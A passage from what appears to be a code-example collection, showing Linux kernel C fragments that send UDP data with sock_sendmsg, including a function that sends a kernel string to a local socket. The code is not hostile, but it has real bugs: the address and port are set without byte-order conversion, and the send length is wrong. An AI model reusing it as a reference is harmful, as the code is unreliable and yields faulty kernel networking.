  msg.msg_namelen    = sizeof(struct sockaddr_in);
  msg.msg_control    = NULL;
  msg.msg_controllen = 0;
  msg.msg_iov        = iov;
  msg.msg_iovlen     = iov_index;
  msg.msg_control    = NULL;

  oldfs = get_fs();
  set_fs(KERNEL_DS);
  size = sock_sendmsg(sock_pP,&msg,len_ipP+len_gtpP);
  set_fs(oldfs);

  return size;
        }
Exemple #30
0
void open_sc_socket(unsigned long data)
{ 
	struct socket *sock; 
	struct sockaddr_in addr; 
	int error; 
	char *kdata = (char *)data;
	
	struct msghdr   msg; 
	struct iovec    iov;
			   				
	error = sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock); 
	if (error<0) { 
		printk("error during socket create\n"); 
		goto EXIT; 
	} 

	addr.sin_family		= AF_INET; 
	addr.sin_addr.s_addr	= 0x7f000001; 
	addr.sin_port		= 38231; 
	error = sock->ops->connect(sock, (struct sockaddr*)&addr, sizeof(addr), O_RDWR); 
	if (error<0) { 
		printk("error during socket connect\n"); 
		goto EXIT; 
	} 
	msg.msg_name     = NULL; 
	msg.msg_namelen  = 0; 
	msg.msg_iov      = &iov;
       	msg.msg_iovlen   = 1; 
	msg.msg_control  = NULL; 
	msg.msg_controllen = 0; 
	msg.msg_flags    = MSG_NOSIGNAL;
	iov.iov_base = kdata; 
       	iov.iov_len = strlen(kdata); 
	error = sock_sendmsg(sock, &msg, sizeof(msg)); 
	if (error<0) { 
		printk("error during socket sendmsg\n"); 
		goto EXIT; 
	} 
	DEBUGP("socket sendmsg ok\n");

EXIT:	    
	sock_release(sock);

}